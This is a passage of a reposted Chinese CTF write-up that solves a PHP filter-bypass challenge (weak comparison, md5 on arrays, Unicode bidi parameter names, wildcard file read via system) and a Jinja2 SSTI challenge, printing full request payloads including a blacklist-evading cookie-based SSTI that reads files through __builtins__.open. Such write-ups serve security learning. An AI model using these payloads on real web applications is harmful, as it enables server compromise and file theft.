// array_search是查找$data陣列中和Probius相等的值 回傳其下標 在第三個引數不為true的時候 是 == 弱比較   也就是 0 == "admin" 成立  我們只需要構造[0]即可 或者 ['x'] 這種 以任意字母開頭的字串
if(is_array($data)){
    for($i=0;$i<count($data);$i++){
        if($data[$i]==="Probius") exit();
        $data[$i]=intval($data[$i]);
    }
    if(array_search("Probius",$data)===0)
        $week_2 = true;
    else
        die("HACK!");
}

這樣我們就讓 $week_2=true 進入下一個if

if($week_1 && $week_2){
    //這里是md5強相等繞過 我們前面讓data是一個陣列  使$verify是一個陣列即可 對陣列計算md5值都是0
    if(md5($data)===md5($verify)){
}

進入下一個條件

這個使奇怪的編碼 Unicode 在NSSCTF 有一個 CheckIn 考點就是這個

我們在vscode打開修改就好了

U+202E=>0xE2 0x80 0xAE=>%E2%80%AE
U+2066=>0xE2 0x81 0xA6=>%E2%81%A6
U+2069=>0xE2 0x81 0xA9=>%E2%81%A9
hn=hn
%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf

試下我們思路是否正確

這樣我們進入最后的if

// 我們使用通配符試試 而且還包含了 include "k1y.php"; 試試看
if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
    die("HACK!");
else{
    echo "Fine!you win";
    system("cat ./$want");
}

我們試試看輸出 k1y.php 的內容,這也驗證了推測 user和pass都是字母開頭

直接 $want=f*

payload

GET:
?user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf

POST:
data[]=0&verify[]=3&want=f*

[WEEK3]ssssti

分析

長的和week2的ssti一樣 但是肯定變難了(加了黑名單)

黑名單(大概

'
"  
_  
args   -- 無法使用 request.args
os   -- 無法匯入os
不允許post  -- 無法使用 request.value

看之前筆記找到了一個payload

{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

這個是讀取根目錄下的flag 根據上個ssti的題猜測flag應該還是在本目錄

然后使用request.cookies構造上述的payload就好了

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-gW9vhjAh-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027173941292.png)]

payload

?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}


cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/523119.html

標籤:其他

上一篇:keepalived實作nginx高可用

下一篇:游戲影片技術簡介

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more